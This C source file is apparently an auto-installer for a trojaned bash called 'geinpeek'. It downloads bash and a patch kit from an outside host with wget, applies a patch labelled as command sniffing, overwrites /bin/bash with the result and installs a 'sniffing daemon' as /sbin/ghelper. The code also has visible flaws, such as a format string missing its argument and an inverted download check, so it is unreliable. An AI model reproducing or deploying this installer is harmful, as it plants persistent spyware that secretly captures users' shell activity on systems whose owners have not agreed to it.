#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*

	bash-3.0-geinpeek-0.2 auto installer

	( install-0.2.c )

	compile # gcc install-0.2.c -o install-0.2
	execute # ./install-0.2
*/


/* tmp dir for installing */
#define	DOWNLOAD_DIR	"/root/tmp"

/* ANSI color macro */
#define SET_ANSI(){     printf("\033[0;44;36m"); }
#define UNSET_ANSI(){   printf("\033[0m");      }


/* prototype */
int download_file(char *src_url);
int checking_file(char *bin_file);
int xtract_package(char *src_url);
void select_and_patch();
void compile_geinpeek_bash();
void make_install();
void make_clean();

char needed[5][16]=
{
    "/bin/bash",
    "/usr/bin/patch",
    "/usr/bin/wget",
    "/bin/tar",
    "\x00",
};

char download_list[3][128]=
{
    "http://ftp.gnu.org/pub/gnu/bash/bash-3.0.tar.gz",
    "http://www.x90c.org/projects/bash-3.0-geinpeek/bash-3.0-geinpeek-0.2.tar.gz",
	"\x00",
};

char needed_patch_list[3][64]=
{
	"Makefile.in-geinpeek.diff",
	"ghelper.c",				/* sniff daemon */
	"\x00",
};
char patchkit_list[3][64]=
{
	"execute_cmd.c-geinpeek.diff",		/* main sniffing patch */
	"shell.c-geinpeek.diff",
	"\x00",	
};

char cong[]=
{
	"welcome to BASH-GEINPEEK\n\n"
	"quick execuee : # ghelper 90.txt\n"
};
	

int main()
{

	unsigned int i = 0, ret = 0;

	system("rm -rf /root/tmp");

	if(strcmp(getenv("SHELL"), "/bin/bash") == 0){
		fprintf(stderr, "\n\nfailed. to change default shell to csh!\n\n");
		return(1);
	}

	for(i = 0; download_list[i][0] != '\x00'; i++){
		if(download_file(download_list[i]) != 0){
			ret ++;
			fprintf(stderr, "failed source code(tar.gz) download :\n\t=> %s\n", download_list[i]);
		}
	}

	printf("\n");

	if(ret != 0)
		return(2);

	ret = 0;

	for(i = 0; needed[i][0] != '\x00'; i++){
		if(checking_file(needed[i]) != 0){
			ret ++;
			fprintf(stderr, "needed utility : %s\n", needed[i]);
		} else{
			printf("check: %s : found!\n", needed[i]);
		}
	}
	
	if(ret != 0)
		return(3);

	printf("\n");

	for(i = 0; download_list[i][0] != '\x00'; i++){
		if(xtract_package(download_list[i]) != 0){
			ret ++;
			fprintf(stderr, "failed downloaded file(tar.gz) extract :\n\t=> %s\n", download_list[i]);
		} else{
			printf("extract: %s : success!\n", download_list[i]);
		}
	}

	if(ret != 0)
		return(4);

	ret = 0;

	printf("\n");
	
	select_and_patch();	

	printf("\n");

	compile_geinpeek_bash();

	printf("\n");
	
	make_install();
	
	SET_ANSI();
	fprintf(stdout, "%s\n", cong);
	UNSET_ANSI();

	make_clean();

}

#define	OK_MARK		"200 OK"

int download_file(char *src_url)
{
	char sho[128];
	FILE *pfp;
	char msg_buf[2048];
	unsigned int indx = 0;

	sprintf(sho, "%s %s -P %s", needed[2], src_url, DOWNLOAD_DIR);

	if((pfp = popen(sho, "r")) == NULL){
		fprintf(stderr, "\n\n%s : error\n\n", sho);
		goto failed;
	}

	while(!feof(pfp))
		msg_buf[indx++] = fgetc(pfp);

	if(strstr(msg_buf, OK_MARK) != NULL){
		fprintf(stderr, "\n\n%s : source code file not found\n\n", src_url);
		goto failed;
	}


success:
	pclose(pfp);
	return(0);

failed:
	pclose(pfp);
	make_clean();

}


void make_clean()
{
	char sho[128];

	sprintf(sho, "rm -rf %s\n", DOWNLOAD_DIR);
	system(sho);

	printf("cleanup: rm -rf %s\n", DOWNLOAD_DIR);

	printf("bye!\n");

	exit(1);

}


int checking_file(char *bin_file)
{
	return access(bin_file, X_OK);
}

#define	ERROR_MARK	"Error exit"

int xtract_package(char *src_url)
{
        char sho[128];
        FILE *pfp;
        char msg_buf[65535];
        unsigned int indx = 0, indxx = 0;
	char *src_file;


	/* real filename extract from the URL */

	
	if((src_file = strrchr(src_url, '/')) == NULL){
		fprintf(stderr, "\n\n%s : invalid URL\n\n", src_url);
		goto failed;
	}
	
        sprintf(sho, "%s xzvf %s%s -C %s", needed[3], DOWNLOAD_DIR, src_file, DOWNLOAD_DIR);

        if((pfp = popen(sho, "r")) == NULL){
                fprintf(stderr, "\n\n%s : error\n\n", sho);
                goto failed;
        }

        while(!feof(pfp))
                msg_buf[indx++] = fgetc(pfp);

        if(strstr(msg_buf, ERROR_MARK) != NULL){
                fprintf(stderr, "\n\n%s : source code file extract error\n\n", src_file);
                goto failed;
        }


success:
        pclose(pfp);
        return(0);

failed:
        pclose(pfp);
        make_clean();
		
}

void select_and_patch()
{
	unsigned int indsx = 0;
	char sho[128];
	char c;

	for(indsx = 0; needed_patch_list[indsx][0] != '\x00'; indsx++){
		sprintf(sho, "mv %s/bash-3.0-geinpeek-0.2/%s %s/bash-3.0", 
			DOWNLOAD_DIR, needed_patch_list[indsx], DOWNLOAD_DIR);
		system(sho);

        if(strstr(needed_patch_list[indsx], ".diff") != NULL){
			printf("needed patch : %s [ applied ]\n", needed_patch_list[indsx]);
			sprintf(sho, "cd %s/bash-3.0/; patch -f < %s", DOWNLOAD_DIR, needed_patch_list[indsx]);
			system(sho);
		}
	}

        for(indsx = 0; patchkit_list[indsx][0] != '\x00'; indsx++){
                sprintf(sho, "mv %s/bash-3.0-geinpeek-0.2/%s %s/bash-3.0",
                        DOWNLOAD_DIR, patchkit_list[indsx], DOWNLOAD_DIR);
                system(sho);

		SET_ANSI();
		printf("BASH-GEINPEEK : %s apply ? (Y/N) ", patchkit_list[indsx]);
		UNSET_ANSI();

		c = ' ';

		fflush(stdin);
		c = fgetc(stdin);	
		
		if(c == 'y' || c == 'Y'){
	        sprintf(sho, "cd %s/bash-3.0/; patch -f < %s", DOWNLOAD_DIR, patchkit_list[indsx]);
			system(sho);
        }
		getchar();
        }
}

void compile_geinpeek_bash()
{
	char sho[128];

	printf("BASH-GEINPEEK : geinpeek bash compile starting..\n\n");

	sprintf(sho, "cd %s/bash-3.0/; ./configure; make", DOWNLOAD_DIR);
	system(sho);

	SET_ANSI();
	printf("\n\nBASH-GEINPEEK : geinpeek bash compile success!!\n\n");
	UNSET_ANSI();

}

void make_install()
{
	char sho[128];

	printf("BASH-GEINPEEK : copy compiled binary\n\n");
	
	printf("backup: /bin/bash to /root/bash\n");
	system("cp /bin/bash /root/bash");

	sprintf(sho, "cd %s/bash-3.0/; mv bash /bin/bash; mv ghelper /sbin/ghelper; chmod 700 /sbin/ghelper");
	system(sho);

	printf("install: bash(geinpeek patched bash shell) -> /bin/bash\n");
	printf("install: ghelper(sniffing daemon) -> /sbin/ghelper\n");
	
}



